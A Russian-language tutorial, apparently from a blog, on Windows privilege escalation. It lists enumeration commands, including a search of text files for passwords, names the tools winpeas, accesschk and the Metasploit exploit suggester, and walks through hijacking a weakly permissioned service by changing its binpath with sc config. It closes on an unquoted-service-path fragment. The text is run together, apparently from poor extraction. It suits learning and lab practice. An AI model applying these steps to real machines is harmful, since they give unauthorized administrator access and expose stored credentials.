
Моё руководство по концепциям повышения привилегий в Windows. Обязательно посмотрите мой плейлист, ссылка: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
Важный момент: группы — любой пользователь группы Administrator помогает нам повышать привилегии!
whoami /priv — привилегии текущего пользователяnet users — список всех пользователейnet user <username> — сведения о конкретном пользователеqwinsta — другие пользователи, вошедшие в систему одновременноnet localgroup — группы, доступные в системеnet localgroup <group-name> — список участников конкретной группыsysteminfo — предоставляет всю информацию об ОСhostname — имя хоста системыfindstr /si password *.txt — ищем файлы, содержащие 'password', и именно в текстовых файлахwmic qfe get Caption,Description,HotFixID,InstalledOn — показывает информацию об обновлениях безопасности и связанных данныхnetstat -ano — соединения, связанные с машинойschtasks /query /fo LIST /v — поиск запланированных задачdriverquery — вывод информации о драйверахsc query windefend — проверка службы антивирусаsysteminfo на своей машине — это единственное требование для работы инструментаwmic product get name,version,vendor — выводит название продукта, версию и производителя. Эта команда даёт наглядное представление о том, что нам нужно.wmic service list brief | findstr "Running", а для получения дополнительной информации о службе используйте sc qc <ServiceName>post/multi/recon/local_exploit_suggester; убедитесь, что ваша сессия находится в фоне, чтобы этот инструмент работал корректно, или вы можете просто загрузить его из meterpreter.winpeas.exe --helpsysteminfo, скопируйте её в любой файл и назовите его с расширением .txtЗдесь мы попытаемся найти службы с небезопасными разрешениями, а затем попробуем их эксплуатировать.
Здесь мы можем использовать команду winpeas.exe servicesinfo и увидеть службы, которые могут быть полезны
Одна интересная часть вывода выглядит так,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- Но чтобы получить больше информации, мы можем использовать инструмент под названием **accesschk**, созданный Microsoft, запустите его следующим образом: `accesschk.exe /accepteula -uwcqv <current-user> <service>`, вывод будет следующим,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config, где мы можем изменить конфигурацию службы.sc qc <service> и затем обратите внимание на Binary_path_name (его также называют binpath), который мы собираемся изменить (злобная улыбка)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" и запустите службу sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.